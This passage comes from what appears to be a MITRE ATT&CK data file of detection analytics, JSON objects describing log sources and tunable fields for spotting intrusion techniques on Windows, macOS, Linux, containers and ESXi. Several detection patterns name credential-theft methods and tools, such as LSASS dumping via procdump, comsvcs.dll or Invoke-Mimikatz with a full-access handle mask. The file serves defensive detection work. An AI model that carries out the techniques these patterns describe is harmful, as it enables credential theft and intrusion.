                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "Invocation of osascript or dylib injection"
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                {
                    "field": "KeychainAccessPath",
                    "description": "Path to watch for abnormal access, e.g., /Library/Keychains/"
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                {
                    "field": "SignedBinaryStatus",
                    "description": "Filter out signed/trusted binaries."
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            ],
            "x_mitre_deprecated": false
        },
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            "description": "Automated execution of native utilities and scripts to discover, enumerate, and exfiltrate files and clipboard content. Focus is on detecting repeated file access, scripting engine use, and use of command-line utilities commonly leveraged by collection scripts.",
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                "enterprise-attack"
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                "Windows"
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                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "field": "TimeWindow",
                    "description": "Defines the lookback period for identifying burst activity or patterns in process/file events."
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                {
                    "field": "SuspiciousFileExtensions",
                    "description": "Tunable list of file extensions associated with collection (e.g., .pdf, .docx)."
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                {
                    "field": "ProcessCountThreshold",
                    "description": "The number of times a process executes before considered anomalous."
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            "description": "Defenders can identify PowerShell profile-based persistence by correlating file creation or modification in known profile locations with subsequent PowerShell process launches that do not use the `-NoProfile` flag. Profile scripts loading unusual modules or launching external programs, particularly under elevated contexts, are suspicious and may represent adversary persistence or privilege escalation.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=2"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "Execution of PowerShell without -NoProfile flag"
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                {
                    "field": "ProfilePathList",
                    "description": "Custom PowerShell host profiles or redirection to alternate profile paths"
                },
                {
                    "field": "ExecutionContext",
                    "description": "Whether profile execution occurs under elevated user (e.g., Administrator, SYSTEM)"
                },
                {
                    "field": "ModuleOrScriptName",
                    "description": "Specific modules or external programs loaded within profile"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation time between profile modification and PowerShell process start"
                }
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            "x_mitre_deprecated": false
        },
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            "description": "Insertion of public keys into authorized_keys using bash/zsh or editor tools, correlated with suspicious process ancestry.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process: exec + filewrite: ~/.ssh/authorized_keys"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:auth",
                    "channel": "~/.ssh/authorized_keys"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcess",
                    "description": "Track unusual parent process writing to SSH config (e.g., curl -> bash)"
                },
                {
                    "field": "InteractiveSessionFlag",
                    "description": "Flag whether shell session was interactive (normal) or spawned remotely (potential abuse)"
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            ],
            "x_mitre_deprecated": false
        },
        {
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0273#AN0763",
                    "external_id": "AN0763"
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            "name": "Analytic 0763",
            "description": "Unusual TLS tunnels through ports not normally encrypted (e.g., TLS on port 8080, 53). Defender sees NetFlow/IPFIX or packet inspection indicating high-entropy traffic volumes and asymmetric client/server exchange ratios.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Session records with TLS-like byte patterns"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Connections",
                    "channel": "Abnormal certificate chains or non-standard ports carrying TLS"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PortProfiles",
                    "description": "Define expected TLS port usage to flag anomalies."
                },
                {
                    "field": "TrafficAsymmetryRatio",
                    "description": "Sent/received byte thresholds to catch hidden C2."
                }
            ],
            "x_mitre_deprecated": false
        },
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                    "external_id": "AN2032"
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            "name": "Analytic 2032",
            "description": "Observation of scripted network requests (e.g., using osascript, curl, or python) that include mismatched or spoofed browser User-Agent strings compared to the typical macOS Safari or Chrome baseline, especially when triggered by non-interactive launch agents, login hooks, or background daemons.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "macos:unifiedlog",
                    "channel": "network connection events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Inbound HTTP POST with suspicious payload size or user-agent"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "exec logs"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserAgentFingerprint",
                    "description": "Flag browser-based sessions"
                },
                {
                    "field": "HeaderSignatureMatch",
                    "description": "Specific HTTP header anomalies or patterns (e.g., spoofed User-Agent)."
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            ]
        },
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0190"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0190",
            "description": "Detection of phishing through anomalous Mail app activity, such as attachments saved to disk and immediately executed, or Safari/Preview launching URLs and files linked from email messages. Correlate UnifiedLogs events with subsequent process execution.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "macos:unifiedlog",
                    "channel": "Inbound email activity with suspicious domains or mismatched sender information"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousDomains",
                    "description": "List of domains known for phishing activity or suspicious sender infrastructure."
                },
                {
                    "field": "ExecutionDelayWindow",
                    "description": "Time threshold between file save and execution considered suspicious."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2a23296d-70f2-4e04-9a97-62d093ad1765",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0529#AN1465",
                    "external_id": "AN1465"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1465",
            "description": "Unusual or suspicious processes loading critical native API DLLs (e.g., ntdll.dll, kernel32.dll) followed by direct syscall behavior, memory manipulation, or hollowing.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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            "x_mitre_mutable_elements": [
                {
                    "field": "DllName",
                    "description": "May tune DLL filters to focus on low-level API providers (e.g., ntdll.dll)"
                },
                {
                    "field": "Image",
                    "description": "Tune for expected parent processes (e.g., explorer.exe, winlogon.exe)"
                },
                {
                    "field": "TargetProcess",
                    "description": "Scope to suspicious targets like LSASS, csrss, etc."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2a3b0030-05b4-4b85-a33c-dda07472f31f",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0872#AN2004",
                    "external_id": "AN2004"
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            ],
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            "name": "Analytic 2004",
            "description": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\nMonitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3",
                    "name": "Malware Repository",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f",
                    "name": "Malware Repository",
                    "channel": "None"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0889",
                    "external_id": "AN0889"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0889",
            "description": "Modification of container runtime security profiles (AppArmor, seccomp) or removal of monitoring agents within containers. Detect unauthorized mounting/unmounting of host /proc or /sys to disable logging or auditing.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Containers"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
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                    "channel": "seccomp or AppArmor profile changes"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f",
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            ],
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                    "field": "RuntimeProfiles",
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            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1556"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1556",
            "description": "Detection of bash/zsh history suppression via HISTFILE/HISTCONTROL manipulation and absence of ~/.bash_history updates. Observing environment variable changes tied to terminal processes is a strong indicator.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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            ],
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                    "field": "ShellProfiles",
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            ],
            "x_mitre_deprecated": false
        },
        {
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                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1422",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Containers"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
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                },
                {
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                    "name": "containerd:runtime",
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            ],
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                    "field": "NamespaceEscapePattern",
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                    "field": "TimeWindow",
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            "x_mitre_deprecated": false
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            ],
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                },
                {
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                    "name": "macos:osquery",
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            ],
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                {
                    "field": "KerberosAPIProcessBaseline",
                    "description": "Expected processes using the Kerberos framework (e.g., loginwindow, kinit)."
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                {
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                {
                    "field": "TimeWindow",
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            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1084",
            "description": "Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "channel": "CLI Command Audit"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "remote access"
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            ],
            "x_mitre_mutable_elements": [
                {
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                    "description": "Flags command line access via remote console (telnet/SSH/API) from non-whitelisted source."
                },
                {
                    "field": "CommandString",
                    "description": "Monitors rare/privileged shell commands (e.g., enable, tftp, firmware mod)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--2ae1dd34-c666-488f-8ad6-752b8a6acae1",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0322#AN0913",
                    "external_id": "AN0913"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0913",
            "description": "Detects the presence of executables with high NOP padding, unusually large binary size for their function, and follow-on execution or memory injection from such files, especially when originating from temp or user-space paths.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
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                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
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                    "description": "High proportion of 0x90 opcodes indicating junk code \u2013 tune to suppress noise from some packing tools"
                },
                {
                    "field": "ExecutableSizeThreshold",
                    "description": "Size range for abnormally large binaries relative to their runtime behavior"
                },
                {
                    "field": "TimeWindow",
                    "description": "Window between file creation and execution \u2013 short intervals may indicate staged payload execution"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--2b0dd3b6-6949-4dd5-b0dd-7b0b6f431dbe",
            "created": "2025-10-21T15:10:28.402Z",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0363#AN1030",
                    "external_id": "AN1030"
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            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
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            "description": "A non-privileged or abnormal process attempts to open a handle with full access (0x1F0FFF) to lsass.exe and subsequently invokes memory dump, file creation, or registry modification indicative of credential scraping. This behavior chain reflects staged credential theft activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4673"
                },
                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AccessMask",
                    "description": "Set to 0x1F0FFF to detect full memory access attempts; can be scoped down to reduce noise."
                },
                {
                    "field": "TimeWindow",
                    "description": "Defines time between LSASS access and dump file creation or registry modification (e.g., 5 minutes)."
                },
                {
                    "field": "ParentProcessName",
                    "description": "Allowlist known legitimate tools (e.g., AV/EDR) accessing lsass.exe."
                },
                {
                    "field": "DumpFilePath",
                    "description": "Paths where memory dumps are written, e.g., %TEMP%, C:\\Windows\\Temp."
                },
                {
                    "field": "CommandLinePattern",
                    "description": "Common dumping syntax like rundll32, procdump, comsvcs.dll, Invoke-Mimikatz."
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            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2b751817-3de2-4388-b8b9-d43b5ecda671",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1337",
                    "external_id": "AN1337"
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            ],
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            ],
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            "name": "Analytic 1337",
            "description": "Authentication failures across different accounts using a repeated or similar password via SSH or PAM stack within a short window",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "name": "linux:syslog",
                    "channel": "Failed password for invalid user"
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            ],
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                    "description": "Repetition or minor variation of the same password across user attempts"
                },
                {
                    "field": "IPAggregationWindow",
                    "description": "Length of time to observe distributed spray attempts from single source"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--2b990a38-dedf-4a9a-9bd2-9a805c2f1b46",
            "created": "2026-04-20T18:22:06.178Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0497#AN2044",
                    "external_id": "AN2044"
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            ],
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            ],
            "modified": "2026-05-12T16:30:18.376Z",
            "name": "Analytic 2044",
            "description": "Detects esxcli commands disabling syslog, firewall, lockdown mode, or stopping hostd/vpxa; correlates command execution with reduced forwarding activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
                    "channel": "esxcli system syslog config set/reload, services.sh restart/stop"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222",
                    "name": "esxi:hostd",
                    "channel": "service state change"
                }
            ],
            "x_mitre_mutable_elements": [
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                    "field": "AllowedDLLs",
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                    "field": "ApplicationBundleMonitoring",
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                    "field": "FSEventsFilteringThreshold",
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                {
                    "field": "TimeWindow",
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                {
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            "description": "SQL stored procedures that invoke OS-level commands via `xp_cmdshell` equivalent or via UDF (User-Defined Functions) mechanisms.",
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                    "field": "RemoteIPAllowList",
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                {
                    "field": "TimeWindow",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "AWS:CloudTrail",
                    "channel": "SSM RunCommand"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "IAMRoleAllowList",
                    "description": "Approved deployment administrators or service accounts"
                },
                {
                    "field": "ExecutionTargetList",
                    "description": "Expected endpoints targeted by SaaS deployments"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2e700f3b-bf9c-427c-a099-b80d233c1ccb",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0059#AN0163",
                    "external_id": "AN0163"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0163",
            "description": "Detect unauthorized manipulation of log files, database entries, or system configuration files through auditd and syslog. Correlate shell commands that alter HISTFILE or data-related processes with abnormal file access patterns.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "linux:syslog",
                    "channel": "Unexpected SQL or application log entries showing tampered or malformed data"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "WatchedDirectories",
                    "description": "Specific log or data directories critical to integrity; tune per organization."
                },
                {
                    "field": "CommandExclusions",
                    "description": "Legitimate scripts/tools excluded from data manipulation monitoring."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2e7a9609-3e4b-477b-828f-f486561d7fa7",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0524#AN1449",
                    "external_id": "AN1449"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1449",
            "description": "Closed-port knock sequence from a remote IP followed by on-host firewall change (iptables/nftables) or daemon starts listening (socket open) and a successful TCP/UDP connect. Optional detection of libpcap/raw-socket sniffers spawning to watch for secret values.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "auditd:SYSCALL",
                    "channel": "socket/bind: Process binds to a new local port shortly after knock"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServicePort",
                    "description": "Port that becomes available post-knock (e.g., 22/8022/2323)."
                },
                {
                    "field": "KnockResetRatio",
                    "description": "Percentage of failed attempts with RST/ICMP vs SYN/SYN-ACK to qualify as closed-port probing."
                },
                {
                    "field": "ProcessAllowList",
                    "description": "Automation expected to touch firewall/daemon configs (config-mgmt agents)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2eb3d192-6e04-4e42-af63-ed3f54f65285",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0873#AN2005",
                    "external_id": "AN2005"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2005",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nConsider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985",
                    "name": "Persona",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2ec84f0f-1148-4821-acf0-a5527381865f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0393#AN1107",
                    "external_id": "AN1107"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1107",
            "description": "Detection of ApplicationImpersonation role assignment or delegated mailbox access to service principals or rarely used users, especially outside of normal hours or geographic norms.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
